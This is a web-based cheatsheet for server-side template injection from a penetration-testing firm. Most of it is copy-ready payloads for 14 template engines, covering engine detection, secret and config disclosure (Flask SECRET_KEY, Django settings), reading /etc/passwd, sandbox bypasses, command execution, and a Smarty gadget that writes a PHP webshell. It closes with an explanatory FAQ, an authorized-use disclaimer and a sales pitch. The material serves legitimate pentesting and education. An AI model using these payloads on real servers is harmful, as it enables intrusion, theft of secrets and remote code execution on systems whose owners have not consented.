// tool · injection
SSTI cheatsheet
Server-Side Template Injection happens when user input is evaluated as a template on the server — turning into file reads or command execution. Pick the engine, filter by goal and copy the payload.
Runs 100% in your browser · nothing is sent
- Jinja2 Python Detection
{{7*7}}Why it works: Anything inside
{{ }}is evaluated as a Python expression. If the response shows49, the template is evaluating your input. - Jinja2 Python Detection
{{7*'7'}}Why it works: Integer × string repeats the string (
7777777). Confirms Jinja2/Python and distinguishes it from Twig, which would return49. - Jinja2 Python Info & context
{{ config.items() }}Why it works: In Flask,
configis in the context and exposes the entire configuration — includingSECRET_KEY, which lets you forge sessions. - Jinja2 Python RCE
{{ cycler.__init__.__globals__.os.popen('id').read() }}Why it works:
cycleris a Jinja2 global; via__init__.__globals__you reach theosmodule and execute a command. - Jinja2 Python RCE
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}Why it works: Classic Flask path: from
requestto__builtins__.__import__to importosand run commands. - Jinja2 Python RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}Why it works: Lists every subclass of
object. Findsubprocess.Popen(or a file wrapper) and call it by index for RCE or file reads. - Jinja2 Python Sandbox bypass
{{ ''|attr('__class__') }}Why it works: When the dot (
.) is filtered, theattr()filter accesses attributes by string, bypassing the block. - Jinja2 Python Sandbox bypass
{{ request['application']['__globals__'] }}Why it works: Bracket access
['...']avoids the dot and blocklists targeting words like__globals__. - Tornado Python Detection
{{7*7}}Why it works: Tornado also uses
{{ }}for expressions.49confirms server-side evaluation. - Tornado Python RCE
{% import os %}{{ os.popen('id').read() }}Why it works: Tornado allows
{% import %}; importosand execute commands directly. - Mako Python Detection
${7*7}Why it works: Mako evaluates expressions in
${ ... }.49confirms the engine. - Mako Python RCE
<%import os%>${os.popen('id').read()}Why it works: Mako accepts raw Python
<% %>blocks; importosand run commands. - Mako Python RCE
${self.module.cache.util.os.system('id')}Why it works: Mako's attribute chain reaches
os.systemwithout needing a code block. - Mako Python File read
${open('/etc/passwd').read()}Why it works:
openis reachable in Mako scope; reads arbitrary files from the server. - Django Python Detection
{{7|add:7}}Why it works: Django does not evaluate free expressions; arithmetic only via filters like
add.14suggests Django (sandboxed). - Django Python Info & context
{% debug %}Why it works: The
{% debug %}tag dumps available variables and context — information disclosure useful for escalation. - Django Python Info & context
{{ settings.SECRET_KEY }}Why it works: If
settingsis in the context, it exposes secrets. In Django, SSTI is usually information disclosure, not direct RCE. - Twig PHP Detection
{{7*7}}Why it works: Twig evaluates
{{ }}.49confirms the engine. - Twig PHP Detection
{{7*'7'}}Why it works: In Twig,
7*'7'yields49(not7777777) — distinguishes it from Jinja2. - Twig PHP Info & context
{{ _self }}Why it works:
_selfreferences the current template; a starting point to reach the Twig environment (_self.env). - Twig PHP RCE
{{ ['id']|filter('system') }}Why it works: The
filterfilter appliessystemto each array item, executing the command. - Twig PHP RCE
{{ ['id', 0]|sort('system') }}Why it works:
sortusessystemas the comparison callback, firing the command — an alternative whenfilteris blocked. - Twig PHP RCE
{{ ['id']|map('system')|join }}Why it works:
mapappliessystemto the array andjoinmaterializes the output — another RCE path. - Twig PHP Sandbox bypass
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}Why it works: In Twig 1.x, registers
systemas the undefined-filter callback and triggers it with the command as the filter name. - Smarty PHP Detection
{$smarty.version}Why it works: Prints the Smarty version — confirms the engine and guides the exploitation vector.
- Smarty PHP Detection
{math equation="7*7"}Why it works: The
{math}tag evaluates the expression;49confirms Smarty. - Smarty PHP RCE
{php}system('id');{/php}Why it works: The
{php}tag runs raw PHP (Smarty < 3.1, or when re-enabled). - Smarty PHP RCE
{system('id')}Why it works: When PHP functions are allowed by the security policy, they can be called directly as a tag.
- Smarty PHP Sandbox bypass
{Smarty_Internal_Write_File::writeFile("./shell.php","<?php system($_GET['c']); ?>",self::clearConfig())}Why it works: Known gadget: Smarty's static
writeFilemethod drops a webshell to disk.self::clearConfig()supplies the Smarty instance reference required as the 3rd argument. Removed in Smarty 3.1.30+. - Freemarker Java Detection
${7*7}Why it works: Freemarker evaluates
${ ... }.49confirms the engine. - Freemarker Java RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Why it works: Instantiates Freemarker's
Executeutility class via?new()and runs the command. - Freemarker Java RCE
${"freemarker.template.utility.Execute"?new()("id")}Why it works: Compact form: creates
Executeand invokes it in the same expression. - Freemarker Java Sandbox bypass
<#assign v="freemarker.template.utility.ObjectConstructor"?new()>${v("java.lang.ProcessBuilder","id").start()}Why it works: When
Executeis blocked,ObjectConstructorbuilds an arbitraryProcessBuilderto execute commands. - Velocity Java Detection
#set($x=7*7)$xWhy it works: Velocity sets variables with
#set; printing49confirms the engine. - Velocity Java RCE
#set($e="e") #set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null)) $run.exec("id")Why it works: Via reflection from a string, reaches
java.lang.Runtimeand executes OS commands. - Velocity Java RCE
#set($run=$class.inspect("java.lang.Runtime").type.getRuntime()) $run.exec("id")Why it works: When the
$classtool is exposed in context, it grabsRuntimedirectly and executes commands. - Thymeleaf Java Detection
[[${7*7}]]Why it works: In a Thymeleaf/Spring EL expression context,
[[...]]evaluates inline;49confirms. - Thymeleaf Java RCE
${T(java.lang.Runtime).getRuntime().exec('id')}Why it works: Spring EL:
T(...)references a static class;Runtime.execexecutes the command. - Thymeleaf Java RCE
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.xWhy it works: The
__...__preprocessing of fragment/expression names evaluates the expression — the classic Thymeleaf SSTI via view name. - Pug Node.js Detection
#{7*7}Why it works: Pug interpolates
#{ ... }as JavaScript;49confirms server-side evaluation. - Pug Node.js RCE
#{global.process.mainModule.require('child_process').execSync('id')}Why it works: From
global.processyou reachrequire('child_process')and execute commands on Node. - Pug Node.js RCE
= global.process.mainModule.require('child_process').execSync('id')Why it works: A Pug code line (
= expr) executes arbitrary JavaScript on the server. - EJS Node.js Detection
<%= 7*7 %>Why it works: EJS evaluates
<%= ... %>as JavaScript;49confirms the engine. - EJS Node.js RCE
<%= global.process.mainModule.require('child_process').execSync('id') %>Why it works: The JS expression in EJS executes commands via
child_process. - EJS Node.js Sandbox bypass
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');sWhy it works: CVE-2022-29078: polluting EJS options injects code through the output-function name — RCE without
<% %>in the input. - Handlebars Node.js RCE
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('id');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}Why it works: Handlebars is logic-less, but the
#with/lookup/constructorgadget rebuilds a function and reachesrequireto execute commands (version-dependent). - ERB Ruby Detection
<%= 7*7 %>Why it works: ERB evaluates
<%= ... %>as Ruby;49confirms the engine. - ERB Ruby RCE
<%= system('id') %>Why it works:
systemexecutes an operating-system command in Ruby. - ERB Ruby RCE
<%= `id` %>Why it works: Backticks in Ruby execute the command and return the output — handy to exfiltrate the result.
- ERB Ruby File read
<%= File.read('/etc/passwd') %>Why it works:
File.readreads arbitrary files from the server. - Go Go Detection
{{ . }}Why it works: Go templates print the context with
{{ . }}. If it renders the injected struct/data, template evaluation is happening. - Go Go Info & context
{{ .Password }}Why it works: Accesses fields of the struct passed to the template, leaking sensitive context data.
- Go Go Info & context
{{ printf "%+v" . }}Why it works:
printf "%+v"dumps the whole context object. In Go, SSTI rarely becomes RCE (absent a dangerous FuncMap) — focus on information disclosure.
No payloads match these filters.
For authorized testing, research and education only. Do not test targets without explicit permission.
// reference
What is Server-Side Template Injection
Server-Side Template Injection (SSTI) happens when user input is concatenated into the template rendered on the server, instead of being passed as data. The template engine evaluates that input as an expression — and what should be text becomes code executed on the server.
Impact ranges from information disclosure and file reads to remote code execution (RCE), depending on the engine and its sandbox. The exploitation flow is almost always the same: detect the injection, identify the engine, then escalate to file read or command execution.
Engines covered
The cheatsheet ships payloads for 14 template engines, grouped by language. Detection syntax and RCE gadgets change from one engine to another:
- Python: Jinja2, Tornado, Mako, Django
- PHP: Twig, Smarty
- Java: Freemarker, Velocity, Thymeleaf
- Node.js: Pug, EJS, Handlebars
- Ruby: ERB
- Go: Go
Detection → file read → RCE
Detection
Inject an arithmetic expression ({{7*7}}, ${7*7}, <%= 7*7 %>) and see whether the response evaluates to 49. Polyglots like ${{7*7}} help fire across several engines at once.
Info & context
Once the injection is confirmed, read environment variables, configuration objects and the template's internal structure to map what is reachable inside the sandbox.
File read
Many engines expose objects that open server files (for example open in Mako), leading to reads of /etc/passwd, source code and secrets.
RCE
The end goal is command execution on the server, reaching the language runtime (subprocesses, os.system, Runtime.exec) from the template context.
Sandbox bypass
When the engine restricts attributes or builtins, chain references (__class__, __mro__, request) to rebuild the blocked access and get back to RCE.
Frequently asked questions
What is Server-Side Template Injection (SSTI)?
It's when user input is concatenated into the template rendered on the server, instead of being passed as data. The engine evaluates the input as template code — which can become file reads or remote code execution (RCE).
{{7*7}} returned 49 — which engine is it?
{{7*7}} = 49 points to a Jinja2/Twig-style syntax. To disambiguate, try {{7*'7'}}: Jinja2 returns 7777777 and Twig returns 49. The cheatsheet includes detection polyglots per engine.
Is SSTI always RCE?
No. Depending on the engine and sandbox, impact ranges from information disclosure and file reads to full RCE. Some engines require a sandbox bypass to reach command execution.
What's the difference between SSTI and XSS?
Both are injections, but XSS runs in the victim's browser (client) and SSTI runs on the server that renders the template — which is why SSTI is usually far more severe.
Found SSTI in one of your apps?
IntruderLabs runs the pentest that finds and proves these flaws before an attacker does — under your brand, with white-label reporting.
Talk to us →